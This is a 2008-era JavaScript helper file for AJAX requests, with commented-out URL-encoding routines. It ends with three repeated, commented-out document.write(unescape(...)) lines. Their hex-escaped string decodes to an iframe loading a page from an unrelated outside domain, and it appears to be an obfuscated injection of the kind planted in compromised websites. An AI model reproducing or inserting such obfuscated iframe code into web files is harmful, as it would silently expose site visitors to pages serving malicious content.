﻿/*
'######################################
'## Copyright (C) 2008 lg2lg5 All rights reserved.
'## Powered by lg2lg5
'## http://www.lg2lg5.cn
'## lg2lg5@163.com
'######################################
*/


function ReturnFunction(objType, objID, objContentID, ReturnValue) {
	if (objID) {
		switch (objType.toLowerCase()) {
			case "div" :
				document.getElementById(objID).removeChild(document.getElementById(objContentID)); //清除DIV中的内容
				document.getElementById(objID).innerHTML = ReturnValue;
				break;
			case "input" :
				document.getElementById(objID).value = ReturnValue;
				break;
			default :
				break;
		}
	}
	return;
}


/*
************************************************************************************************************************************
***函数名  : createXMLHttpRequest
***函数说明: 实例化为XMLHTTP对象
***参数    : 
				objType			: 对象类型
				objID			: 对象ID
				objContentID	: 对象内容中控件ID
				sURL			: URL地址
				bBoolean		: 布尔值(表示同步/异步)
				ReturnFunction	: 回调函数
***返回值  : 实例化的XMLHTTP对象
*/
function createXMLHttpRequest(objType, objID, objContentID, sURL, bBoolean, ReturnFunction) {
	var xmlHttp = null;
	if (window.XMLHttpRequest)	{    //Mozilla Firefox 浏览器
		xmlHttp = new XMLHttpRequest();
	}
	else {   //IE 浏览器
		if (window.ActiveXObject) {
			try {
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch(e) {
				xmlHttp = null;
			}
		}
	}
	if (xmlHttp) {
		xmlHttp.onreadystatechange = function() {
			if (xmlHttp.readyState==4) {
				if (xmlHttp.status==200) {
					try {
						ReturnFunction(objType, objID, objContentID, xmlHttp.responseText);
					}
					catch (exception) {
						if (exception.description.indexOf("-1072896748")>0) {
							return "";
						}
					}
				}
			}
		}
		xmlHttp.open("GET", sURL, bBoolean);
		xmlHttp.send(null);
	}
	else {
		return "";
	}
}



/*这里开始时UrlEncode和UrlDecode函数*/ 
/*

<script language="vbscript">
Function str2asc(strstr) 
 str2asc = hex(asc(strstr)) 
End Function 
Function asc2str(ascasc) 
 asc2str = chr(ascasc) 
End Function
*/
/*

function UrlEncode(str){ 
  var ret=""; 
  var strSpecial="!\"#$%&'()*+,/:;<=>?[]^`{|}~%"; 
  var tt= "";
  for(var i=0;i<str.length;i++){ 
   var chr = str.charAt(i); 
    var c=str2asc(chr); 
    tt += chr+":"+c+"n"; 
    if(parseInt("0x"+c) > 0x7f){ 
      ret+="%"+c.slice(0,2)+"%"+c.slice(-2); 
    }else{ 
      if(chr==" ") 
        ret+="+"; 
      else if(strSpecial.indexOf(chr)!=-1) 
        ret+="%"+c.toString(16); 
      else 
        ret+=chr; 
    } 
  } 
  return ret; 
} 
function UrlDecode(str){ 
  var ret=""; 
  for(var i=0;i<str.length;i++){ 
   var chr = str.charAt(i); 
    if(chr == "+"){ 
      ret+=" "; 
    }else if(chr=="%"){ 
     var asc = str.substring(i+1,i+3); 
     if(parseInt("0x"+asc)>0x7f){ 
      ret+=asc2str(parseInt("0x"+asc+str.substring(i+4,i+6))); 
      i+=5; 
     }else{ 
      ret+=asc2str(parseInt("0x"+asc)); 
      i+=2; 
     } 
    }else{ 
      ret+= chr; 
    } 
  } 
  return ret; 
} 
*/





//document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%6E%67%79%6F%75%77%2E%63%6F%6D%2F%6D%2F%68%2E%68%74%6D%22%3E%3C%2F%69%66%72%61%6D%65%3E'))

//document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%6E%67%79%6F%75%77%2E%63%6F%6D%2F%6D%2F%68%2E%68%74%6D%22%3E%3C%2F%69%66%72%61%6D%65%3E'))

//document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%6E%67%79%6F%75%77%2E%63%6F%6D%2F%6D%2F%68%2E%68%74%6D%22%3E%3C%2F%69%66%72%61%6D%65%3E'))